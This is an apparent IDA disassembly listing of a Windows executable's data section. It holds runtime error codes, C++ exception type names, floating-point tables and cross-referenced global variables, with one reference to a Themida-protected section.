		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43AC10	dt 2.3562723457267347066e313 ; DATA XREF: sub_421741+Dr
					; sub_421741+1Fr
		align 4
tbyte_43AC1C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421741+31r
		align 4
off_43AC28	dd offset sub_421BD5	; DATA XREF: sub_41CECC+Fw
					; sub_41F5D4+3AAr
off_43AC2C	dd offset sub_42186A	; DATA XREF: sub_41CECC+5w
					; sub_41F5D4+3E2r
off_43AC30	dd offset sub_4218D0	; DATA XREF: sub_41CECC+14w
					; sub_420445+430r
off_43AC34	dd offset sub_421810	; DATA XREF: sub_41CECC+1Ew
					; sub_41F5D4+3CBr
off_43AC38	dd offset sub_4218B8	; DATA XREF: sub_41CECC+28w
off_43AC3C	dd offset sub_421BD5	; DATA XREF: sub_41CECC+32w
		dd offset sub_42461C
		align 10h
		dd offset sub_42249C
off_43AC54	dd offset sub_42249C	; DATA XREF: sub_4224F2+29r
dword_43AC58	dd 0C0000005h		; DATA XREF: sub_422D37+Ar
					; sub_422D37+11o ...
dword_43AC5C	dd 0Bh			; DATA XREF: sub_42595E+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43ACD0	dd 3			; DATA XREF: ___:00422C4Er
					; sub_425831+C8r
dword_43ACD4	dd 7			; DATA XREF: ___:00422C54r
					; sub_425831+CDr
dword_43ACD8	dd 0Ah			; DATA XREF: sub_422D37+4r
					; sub_42595E+4r
dword_43ACDC	dd 8Ch			; DATA XREF: ___:00422C78r
					; ___:00422C85w ...
dword_43ACE0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41EF78:loc_41EFF9o
					; sub_41F4BF:loc_41F57Co
dword_43ACE8	dd 2			; DATA XREF: sub_4234D1+Eo
					; sub_4234D1+28r
off_43ACEC	dd offset aR6002FloatingP ; DATA XREF: sub_4234D1+FCr
					; sub_4234D1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B5Ch, 9, 427B30h, 0Ah,	427B0Ch, 10h, 427AE0h
		dd 11h,	427AB0h, 12h, 427A8Ch, 13h, 427A60h, 18h, 427A28h
		dd 19h,	427A00h, 1Ah, 4279C8h, 1Bh, 427990h, 1Ch, 427968h
		dd 78h,	427958h, 79h, 427948h, 7Ah, 427938h, 0FCh, 4341E4h
		dd 0FFh, 427928h
off_43AD78	dd offset dword_4D9A40	; DATA XREF: sub_4234D1+1Bo
					; sub_42383E+55o
		align 10h
		dd offset dword_4D9A40
		dd 101h
dword_43AD88	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42383E+72o
		dd 1000h, 0
dword_43AD98	dd 3 dup(0)		; DATA XREF: sub_41F4BF+50o
					; sub_42037B+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43ADB8	dd 3 dup(0)		; DATA XREF: sub_41F4BF+58o
					; sub_42037B:loc_420399o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43ADE8	dd 84h dup(0)		; DATA XREF: sub_42383E+9Bo
dword_43AFF8	dd 2 dup(0)		; DATA XREF: sub_42383E+69o
dword_43B000	dd 2694h		; DATA XREF: sub_420EF6+3r
					; sub_420F49+46r
		align 8
dword_43B008	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4243FCo
dword_43B020	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424412o
dword_43B038	dd 7080h		; DATA XREF: sub_422571+76r
					; sub_4246FC+5Ew ...
dword_43B03C	dd 1			; DATA XREF: sub_422571+98r
					; sub_4246FC+8Bw ...
dword_43B040	dd 0FFFFF1F0h		; DATA XREF: sub_422571:loc_422623r
					; sub_4246FC+94w ...
off_43B044	dd offset loc_545350	; DATA XREF: ___:off_43B0C4o
		dd 0Fh dup(0)
off_43B084	dd offset dword_544450	; DATA XREF: ___:off_43B0C8o
		dd 0Fh dup(0)
off_43B0C4	dd offset off_43B044	; DATA XREF: sub_4246FC+BAr
					; sub_4246FC+D9r ...
off_43B0C8	dd offset off_43B084	; DATA XREF: sub_4246FC+F4r
					; sub_4246FC+11Br ...
		align 10h
dword_43B0D0	dd 0FFFFFFFFh		; DATA XREF: sub_4246FC+1Dw
					; sub_42495A+1Er ...
dword_43B0D4	dd 0			; DATA XREF: sub_42495A:loc_424A8Er
					; sub_424B06+BFw
dword_43B0D8	dd 0			; DATA XREF: sub_42495A+192r
					; sub_424B06+E0w
		align 10h
dword_43B0E0	dd 0FFFFFFFFh		; DATA XREF: sub_4246FC+17w
					; sub_42495A+26r ...
dword_43B0E4	dd 0			; DATA XREF: sub_42495A+13Ar
					; sub_424B06+EAw ...
dword_43B0E8	dd 0			; DATA XREF: sub_42495A+1A1r
					; sub_424B06+23r ...
dword_43B0EC	dd 0FFFFFFFFh		; DATA XREF: sub_424B06+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43B11C	dd 16Dh			; DATA XREF: sub_422571+2Ar
					; sub_424B06+2Er ...
dword_43B120	dd 0FFFFFFFFh		; DATA XREF: sub_424B06:loc_424B92r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43B158	dd 2 dup(0)		; DATA XREF: sub_425CB6+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43B2B8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425CB6+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43B414	dd offset off_427D30	; DATA XREF: ___:00427F0Co
					; ___:00427FF8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43B42C	dd offset off_427D30	; DATA XREF: ___:off_427DC0o
					; ___:00427E00o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43B44C	dd offset off_427D30	; DATA XREF: ___:off_427E08o
					; ___:00427E4Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43B46C	dd offset off_427D30	; DATA XREF: ___:off_427E54o
					; ___:00427E98o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43B490	dd offset off_427D30	; DATA XREF: ___:off_427EA0o
					; ___:00427EDCo
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42461C
		align 10h
dword_43B4B0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43B4B8	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Bo ...
		align 10h
dword_43B4C0	dd 0			; DATA XREF: ___:004015ADo
					; sub_401AC7+ADFo ...
		dd 5 dup(0)
dword_43B4D8	dd 0			; DATA XREF: sub_401AC7+B3Br
					; sub_415BF6+60r
		dd 2D9h	dup(0)
dword_43C040	dd 0			; DATA XREF: sub_401AC7+5DD3r
					; sub_401AC7+5ECDr ...
		dd 7Fh dup(0)
dword_43C240	dd 0			; DATA XREF: sub_40B3AD+41w
					; sub_40B4E8+40w ...
dword_43C244	dd 0			; DATA XREF: sub_40B3AD+47w
					; sub_40B4E8+46w ...
dword_43C248	dd 0			; DATA XREF: sub_40B3AD+52w
					; sub_40B4E8+3Ar ...
dword_43C24C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017E7+B9w ...
dword_43C250	dd 0			; DATA XREF: sub_40B4E8+75r
					; sub_40B6C9+2Aw ...
dword_43C254	dd 0			; DATA XREF: ___:004015F9w
					; ___:00401671w ...
byte_43C258	db 0			; DATA XREF: sub_4017E7+91o
					; sub_401AC7+5D21r ...
		align 4
dword_43C25C	dd 253Dh dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00434124o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437DE8o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438854o
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 509Ch dup(0)		; DATA XREF: ___:off_4329A0o
dword_4A42CC	dd 42E2h dup(0)		; DATA XREF: Themida_:00542651o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43166Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_4386C0o
		dd 4F7Eh dup(0)
dword_4C9040	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3AD+13o ...
dword_4C9044	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401AC7:loc_404474r ...
dword_4C9048	dd 0			; DATA XREF: ___:loc_4016F9o
dword_4C904C	dd 20h dup(0)		; DATA XREF: ___:004016B0o
					; ___:0040174Ao ...
dword_4C90CC	dd 10h dup(0)		; DATA XREF: ___:004016C6o
dword_4C910C	dd 24h dup(0)		; DATA XREF: ___:004016DDo
dword_4C919C	dd 0			; DATA XREF: ___:004016D1w
					; ___:00401761w ...
dword_4C91A0	dd 0			; DATA XREF: ___:004016F0w
		align 10h
dword_4C91B0	dd 0			; DATA XREF: ___:0040135Br
dword_4C91B4	dd 0			; DATA XREF: ___:004016FEw
					; ___:00401715r ...
dword_4C91B8	dd 0			; DATA XREF: ___:004016B5w
					; sub_401AC7+899r
word_4C91BC	dw 0			; DATA XREF: sub_401AC7+7BB4o
					; ___:0040AF9Co ...
		align 10h
dword_4C91C0	dd 0			; DATA XREF: sub_4098FD+4A7w
					; sub_4098FD+4EBr
dword_4C91C4	dd 0			; DATA XREF: sub_4098FD+65w
					; sub_419BAA+166r
dword_4C91C8	dd 0			; DATA XREF: sub_4098FD+80Bw
					; sub_4098FD+880r ...
dword_4C91CC	dd 0			; DATA XREF: sub_4098FD+9D8w
					; sub_4098FD+A43r ...
dword_4C91D0	dd 0			; DATA XREF: sub_4098FD+98Aw
					; sub_4098FD+A13r ...
dword_4C91D4	dd 0			; DATA XREF: sub_4098FD+48Dw
					; sub_4098FD+4DBr
dword_4C91D8	dd 0			; DATA XREF: sub_4098FD+213w
					; sub_4098FD+234r
dword_4C91DC	dd 0			; DATA XREF: sub_4098FD+9CBw
					; sub_4098FD+A3Br ...
dword_4C91E0	dd 0			; DATA XREF: sub_4098FD+372w
					; sub_4098FD+3C7r ...
dword_4C91E4	dd 0			; DATA XREF: sub_4098FD+40Fw
					; sub_41AF2B+11Er
dword_4C91E8	dd 0			; DATA XREF: sub_4098FD+37Fw
					; sub_4098FD+3CFr ...
dword_4C91EC	dd 0			; DATA XREF: sub_4098FD+3C0w
					; sub_419198+ADr
dword_4C91F0	dd 0			; DATA XREF: sub_4098FD+55Aw
					; sub_40FAA3+115r ...
dword_4C91F4	dd 0			; DATA XREF: sub_4098FD+72w
					; sub_4098FD+D2r ...
dword_4C91F8	dd 0			; DATA XREF: sub_4098FD+97Dw
					; sub_4098FD+A06r ...
dword_4C91FC	dd 0			; DATA XREF: sub_4098FD+3A6w
					; sub_4098FD+3E7r ...
dword_4C9200	dd 0			; DATA XREF: sub_4098FD+859w
					; sub_4098FD+8ACr ...
dword_4C9204	dd 0			; DATA XREF: sub_4098FD+2A5w
					; sub_4098FD+2F0r
dword_4C9208	dd 0			; DATA XREF: sub_4098FD+84Cw
					; sub_4098FD+8A4r ...
dword_4C920C	dd 0			; DATA XREF: sub_4098FD+B3w
dword_4C9210	dd 0			; DATA XREF: sub_4098FD+866w
					; sub_4098FD+8B4r ...
dword_4C9214	dd 0			; DATA XREF: sub_4098FD+54Dw
					; sub_4098FD+6D0r ...
dword_4C9218	dd 0			; DATA XREF: sub_4098FD+58w
					; sub_4098FD+CAr ...
dword_4C921C	dd 0			; DATA XREF: sub_4098FD+934w
dword_4C9220	dd 0			; DATA XREF: sub_401AC7:loc_403EAFr
					; sub_4098FD+A95w ...
dword_4C9224	dd 0			; DATA XREF: sub_4098FD+A6w
					; sub_4098FD+F2r
dword_4C9228	dd 0			; DATA XREF: sub_4098FD+480w
					; sub_4098FD+4D3r
dword_4C922C	dd 0			; DATA XREF: sub_4098FD+5F6w
					; sub_40C252+20r
dword_4C9230	dd 0			; DATA XREF: sub_4098FD+9BEw
					; sub_4098FD+A33r
dword_4C9234	dd 0			; DATA XREF: sub_4098FD+5E9w
					; sub_4098FD+754r ...
dword_4C9238	dd 0			; DATA XREF: sub_4098FD+A0Cw
dword_4C923C	dd 0			; DATA XREF: sub_4098FD+B50w
					; sub_40DC32+9Ar
dword_4C9240	dd 0			; DATA XREF: sub_4098FD+7FEw
					; sub_4098FD+86Dr ...
dword_4C9244	dd 0			; DATA XREF: sub_4098FD+1B3w
					; sub_40B5A8+3Do ...
dword_4C9248	dd 0			; DATA XREF: sub_4098FD+997w
					; sub_4098FD+A1Br ...
dword_4C924C	dd 0			; DATA XREF: sub_4098FD+38Cw
					; sub_4098FD+3D7r ...
dword_4C9250	dd 0			; DATA XREF: sub_4098FD+399w
					; sub_4098FD+3DFr ...
dword_4C9254	dd 0			; DATA XREF: sub_4098FD+C85w
					; sub_4098FD+C8Cr
dword_4C9258	dd 0			; DATA XREF: sub_4098FD+6ACw
					; ___:0041124Er
dword_4C925C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4C9260	dd 0			; DATA XREF: sub_4098FD+4B4w
dword_4C9264	dd 0			; DATA XREF: sub_4098FD+9E5w
					; sub_4098FD+A4Br ...
dword_4C9268	dd 0			; DATA XREF: sub_401000+51r
					; sub_4098FD+2B2w ...
dword_4C926C	dd 0			; DATA XREF: sub_4098FD+7Fw
					; sub_4098FD+DAr ...
dword_4C9270	dd 0			; DATA XREF: sub_401AC7+588Ar
					; sub_401AC7+783Br ...
dword_4C9274	dd 0			; DATA XREF: ___:004012ADr
					; sub_401AC7+5081r ...
dword_4C9278	dd 0			; DATA XREF: sub_4098FD+825w
					; sub_4098FD+890r ...
dword_4C927C	dd 0			; DATA XREF: sub_4098FD+9A4w
					; sub_4098FD+A23r
dword_4C9280	dd 0			; DATA XREF: sub_4098FD+C0Ew
					; sub_4098FD+C3Fr
dword_4C9284	dd 0			; DATA XREF: sub_4098FD+2CCw
					; sub_4189DF+47r
dword_4C9288	dd 0			; DATA XREF: sub_4098FD+22Dw
dword_4C928C	dd 0			; DATA XREF: sub_4098FD+91Aw
					; sub_4098FD+92Er
dword_4C9290	dd 0			; DATA XREF: sub_4098FD+C28w
dword_4C9294	dd 0			; DATA XREF: sub_4098FD+2D9w
					; sub_4189DF+4Fr
dword_4C9298	dd 0			; DATA XREF: sub_4098FD+574w
					; sub_4098FD+6E8r ...
dword_4C929C	dd 0			; DATA XREF: sub_4098FD+83Fw
					; sub_4098FD+873r
dword_4C92A0	dd 0			; DATA XREF: sub_4098FD+220w
					; sub_4098FD+23Cr
dword_4C92A4	dd 0			; DATA XREF: sub_4098FD+172w
					; sub_4098FD+1C2r
dword_4C92A8	dd 0			; DATA XREF: sub_401AC7+1DBEr
					; sub_401AC7+5A43r ...
dword_4C92AC	dd 0			; DATA XREF: sub_4017E7+C4r
					; sub_401AC7+510Br ...
dword_4C92B0	dd 0			; DATA XREF: sub_4098FD+567w
					; sub_4098FD+6DCr ...
dword_4C92B4	dd 0			; DATA XREF: sub_4098FD+8DBw
					; sub_4098FD:loc_40A1F6w ...
dword_4C92B8	dd 0			; DATA XREF: sub_401000+26r
					; sub_4098FD+28Bw ...
dword_4C92BC	dd 0			; DATA XREF: sub_401AC7+77C0r
					; sub_4098FD+69Fw ...
dword_4C92C0	dd 0			; DATA XREF: sub_4098FD+32Dw
					; sub_4098FD+341r ...
dword_4C92C4	dd 0			; DATA XREF: sub_4098FD+3B3w
					; sub_4098FD+3EFr ...
dword_4C92C8	dd 0			; DATA XREF: sub_4098FD+C01w
					; sub_4098FD+C37r
dword_4C92CC	dd 0			; DATA XREF: sub_4098FD+818w
					; sub_4098FD+888r ...
dword_4C92D0	dd 0			; DATA XREF: sub_4098FD+206w
					; sub_4098FD+227r
dword_4C92D4	dd 0			; DATA XREF: sub_4098FD+18Cw
					; sub_4098FD+1D2r ...
dword_4C92D8	dd 0			; DATA XREF: sub_4098FD+832w
					; sub_4098FD+898r ...
dword_4C92DC	dd 0			; DATA XREF: sub_4098FD+624w
					; sub_4098FD+774r
dword_4C92E0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_4098FD+2BFw ...
dword_4C92E4	dd 0			; DATA XREF: sub_4098FD+66Bw
					; sub_4098FD+79Cr ...
dword_4C92E8	dd 0			; DATA XREF: sub_4098FD+320w
					; sub_4098FD+334r ...
dword_4C92EC	dd 0			; DATA XREF: sub_4098FD+644w
					; sub_4098FD+784r ...
dword_4C92F0	dd 0			; DATA XREF: sub_4098FD+44Cw
					; sub_4098FD+4AEr
dword_4C92F4	dd 0			; DATA XREF: sub_4098FD+199w
					; sub_4098FD+1DAr ...
dword_4C92F8	dd 0			; DATA XREF: sub_4098FD+365w
					; sub_4098FD+3BAr ...
dword_4C92FC	dd 0			; DATA XREF: sub_4098FD+AA2w
dword_4C9300	dd 0			; DATA XREF: sub_4098FD+5DCw
					; sub_4098FD+748r ...
dword_4C9304	dd 0			; DATA XREF: sub_4017E7+3Er
					; sub_401AC7+50BDr ...
dword_4C9308	dd 0			; DATA XREF: sub_4098FD+4Bw
					; sub_4098FD+C2r ...
dword_4C930C	dd 0			; DATA XREF: sub_4098FD+473w
					; sub_4098FD+4CBr
dword_4C9310	dd 0			; DATA XREF: sub_4098FD+165w
					; sub_4098FD+1BAr ...
dword_4C9314	dd 0			; DATA XREF: sub_4098FD+9FFw
					; sub_4098FD+A5Br ...
dword_4C9318	dd 0			; DATA XREF: sub_4098FD+685w
					; sub_4098FD+7ACr ...
dword_4C931C	dd 0			; DATA XREF: sub_40194F+D1r
					; sub_401AC7+5120r ...
dword_4C9320	dd 0			; DATA XREF: sub_4098FD+C1Bw
					; sub_4098FD+C47r
dword_4C9324	dd 0			; DATA XREF: sub_4098FD+3Ew
					; sub_4098FD+BAr ...
dword_4C9328	dd 0			; DATA XREF: sub_401000+45r
					; sub_4098FD+298w ...
dword_4C932C	dd 0			; DATA XREF: sub_4098FD+651w
					; sub_4098FD+78Cr ...
dword_4C9330	dd 0			; DATA XREF: sub_4098FD+637w
					; sub_4098FD+77Cr ...
dword_4C9334	dd 0			; DATA XREF: sub_4098FD+C92w
dword_4C9338	dd 0			; DATA XREF: sub_4098FD+879w
					; ___:00416C30r ...
dword_4C933C	dd 0			; DATA XREF: sub_4098FD+112w
dword_4C9340	dd 0			; DATA XREF: sub_4098FD+BE7w
					; sub_4098FD+C22r
dword_4C9344	dd 0			; DATA XREF: sub_401AC7+2FC3r
					; sub_401AC7+5EFCr ...
dword_4C9348	dd 0			; DATA XREF: sub_4098FD+459w
					; sub_4098FD+4BBr
dword_4C934C	dd 0			; DATA XREF: sub_4098FD+49Aw
					; sub_4098FD+4E3r
dword_4C9350	dd 0			; DATA XREF: sub_4098FD+466w
					; sub_4098FD+4C3r
dword_4C9354	dd 0			; DATA XREF: sub_40194F+89r
					; sub_401AC7+513Dr ...
dword_4C9358	dd 0			; DATA XREF: sub_4098FD+1A6w
					; sub_4098FD+1E2r ...
dword_4C935C	dd 0			; DATA XREF: sub_4098FD+9F2w
					; sub_4098FD+A53r ...
dword_4C9360	dd 0			; DATA XREF: sub_4098FD+158w
					; sub_4098FD+1ADr ...
dword_4C9364	dd 0			; DATA XREF: sub_4098FD+8Cw
					; sub_4098FD+E2r ...
dword_4C9368	dd 0			; DATA XREF: sub_4098FD+610w
					; sub_4098FD+764r ...
dword_4C936C	dd 0			; DATA XREF: sub_4098FD+B43w
					; sub_4098FD+B5Fr
dword_4C9370	dd 0			; DATA XREF: sub_4098FD+33Aw
					; sub_419B3F+55r
dword_4C9374	dd 0			; DATA XREF: sub_4098FD+27Ew
					; sub_4098FD+2D3r ...
dword_4C9378	dd 0			; DATA XREF: sub_4098FD+BAAw
dword_4C937C	dd 0			; DATA XREF: sub_4098FD+AECw
					; sub_40A91C+CEr
dword_4C9380	dd 0			; DATA XREF: sub_4098FD+ADFw
					; sub_4098FD+AE6r ...
dword_4C9384	dd 0			; DATA XREF: sub_4017E7+A6r
					; sub_401AC7+509Cr ...
dword_4C9388	dd 0			; DATA XREF: sub_401AC7+508Er
					; sub_401AC7+77E7r ...
dword_4C938C	dd 0			; DATA XREF: sub_4098FD+BF4w
					; sub_4098FD+C2Fr
dword_4C9390	dd 0			; DATA XREF: sub_401AC7+1DE4r
					; sub_401AC7+5A69r ...
dword_4C9394	dd 0			; DATA XREF: sub_4098FD+9B1w
					; sub_4098FD+A2Br ...
dword_4C9398	dd 0			; DATA XREF: sub_4098FD+65Ew
					; sub_4098FD+794r ...
dword_4C939C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017E7+D0r ...
dword_4C93A0	dd 0			; DATA XREF: sub_4098FD+59Bw
					; sub_4098FD+70Cr ...
dword_4C93A4	dd 0			; DATA XREF: sub_4098FD+B36w
					; sub_4098FD+B57r ...
dword_4C93A8	dd 0			; DATA XREF: sub_4098FD+540w
					; sub_4098FD+6C4r ...
dword_4C93AC	dd 0			; DATA XREF: sub_4098FD+B29w
					; sub_4098FD+B4Ar
dword_4C93B0	dd 0			; DATA XREF: ___:00401273r
					; sub_4098FD+31w ...
dword_4C93B4	dd 0			; DATA XREF: sub_4098FD+17Fw
					; sub_4098FD+1CAr
		dd 0
dword_4C93BC	dd 0			; DATA XREF: sub_4098FD+927w
					; sub_4098FD+93Br
dword_4C93C0	dd 0			; DATA XREF: sub_4098FD+99w
					; sub_4098FD+EAr ...
dword_4C93C4	dd 0			; DATA XREF: sub_4098FD:loc_4099FBw
					; sub_4098FD+12Bw ...
dword_4C93C8	dd 0			; DATA XREF: sub_4098FD+126w
					; sub_40A5B9+1Cr
dword_4C93CC	dd 0			; DATA XREF: sub_4098FD:loc_409AEBw
					; sub_4098FD:loc_409B52w ...
dword_4C93D0	dd 0			; DATA XREF: sub_4098FD+250w
					; sub_40A5B9+50r
dword_4C93D4	dd 0			; DATA XREF: ___:00401567r
					; sub_401AC7+4466r ...
dword_4C93D8	dd 0			; DATA XREF: sub_4098FD+41Ew
					; sub_40A5B9+84r
dword_4C93DC	dd 0			; DATA XREF: sub_4098FD:loc_409E01w
					; sub_40A5B9:loc_40A669r
dword_4C93E0	dd 0			; DATA XREF: sub_4098FD+4FFw
					; sub_40A5B9+B8r
dword_4C93E4	dd 0			; DATA XREF: sub_4098FD:loc_40A0D2w
					; sub_40A5B9:loc_40A69Dr
dword_4C93E8	dd 0			; DATA XREF: sub_4098FD+7D0w
					; sub_40A5B9+ECr
dword_4C93EC	dd 0			; DATA XREF: sub_4098FD:loc_40A1BDw
					; sub_4098FD+8EFw ...
dword_4C93F0	dd 0			; DATA XREF: sub_4098FD+8EAw
					; sub_40A5B9+120r
dword_4C93F4	dd 0			; DATA XREF: sub_401AC7:loc_406E82r
					; sub_4098FD:loc_40A251w ...
dword_4C93F8	dd 0			; DATA XREF: sub_4098FD+94Fw
					; sub_40A5B9+154r
dword_4C93FC	dd 0			; DATA XREF: sub_401AC7+446Er
					; sub_4098FD:loc_40A36Dw ...
dword_4C9400	dd 0			; DATA XREF: sub_4098FD+A6Bw
					; sub_40A5B9+188r
dword_4C9404	dd 0			; DATA XREF: sub_4098FD:loc_40A3B7w
					; sub_40A5B9:loc_40A76Dr
dword_4C9408	dd 0			; DATA XREF: sub_4098FD+AB5w
					; sub_40A5B9+1BCr
dword_4C940C	dd 0			; DATA XREF: sub_4098FD:loc_40A401w
					; sub_40A5B9:loc_40A7A1r
dword_4C9410	dd 0			; DATA XREF: sub_4098FD+AFFw
					; sub_40A5B9+1F0r
dword_4C9414	dd 0			; DATA XREF: sub_4098FD:loc_40A475w
					; sub_40A5B9:loc_40A7D5r
dword_4C9418	dd 0			; DATA XREF: sub_4098FD+B73w
					; sub_40A5B9+224r
dword_4C941C	dd 0			; DATA XREF: sub_4098FD:loc_40A4BFw
					; sub_40A5B9:loc_40A809r
dword_4C9420	dd 0			; DATA XREF: sub_4098FD+BBDw
					; sub_40A5B9+258r
dword_4C9424	dd 0			; DATA XREF: sub_4098FD:loc_40A55Dw
					; sub_40A5B9:loc_40A83Dr
dword_4C9428	dd 0			; DATA XREF: sub_4098FD+C5Bw
					; sub_40A5B9+28Cr
dword_4C942C	dd 0			; DATA XREF: sub_4098FD:loc_40A5A7w
					; sub_40A5B9:loc_40A871r
dword_4C9430	dd 0			; DATA XREF: sub_4098FD+CA5w
					; sub_40A5B9+2C0r
dword_4C9434	dd 5 dup(0)		; DATA XREF: sub_40A9FA+32o
byte_4C9448	db 0			; DATA XREF: sub_40B2A6+6Ar
					; sub_40B2A6+98w
		align 10h
dword_4C9450	dd 0			; DATA XREF: sub_40BD05+18r
					; sub_40C29A+92w ...
dword_4C9454	dd 0			; DATA XREF: sub_40C3D3+4Dr
					; sub_40C3D3+2EDw ...
		dd 7FEh	dup(0)
dword_4CB450	dd 6 dup(0)		; DATA XREF: sub_40C3D3+CFo
					; sub_40C3D3+138o ...
dword_4CB468	dd 0			; DATA XREF: sub_40BD7C+2C4w
					; sub_40BD7C+348o
dword_4CB46C	dd 0			; DATA XREF: sub_40BD7C+33Ew
					; sub_40BD7C+35Ar
dword_4CB470	dd 0			; DATA XREF: sub_40BD7C+2CFw
dword_4CB474	dd 0			; DATA XREF: sub_40BD7C+2B9w
					; sub_40BD7C:loc_40C091r
dword_4CB478	dd 20h dup(0)		; DATA XREF: sub_40BD7C+2E2o
					; sub_40BD7C+302o
dword_4CB4F8	dd 0			; DATA XREF: sub_40BD7C+2D5w
dword_4CB4FC	dd 0			; DATA XREF: sub_40BD7C+2EFw
					; sub_40BD7C+30Fw
dword_4CB500	dd 0			; DATA XREF: sub_40BD7C:loc_40C0ECr
		align 8
dword_4CB508	dd 0			; DATA XREF: sub_40BD7C+82w
					; sub_40BD7C+101o
dword_4CB50C	dd 41h dup(0)		; DATA XREF: sub_40BD7C+41o
dword_4CB610	dd 41h dup(0)		; DATA XREF: sub_40BD7C+69o
dword_4CB714	dd 0			; DATA XREF: sub_40BD7C+F7w
					; sub_40BD7C+113r
dword_4CB718	dd 0			; DATA XREF: sub_40BD7C+52w
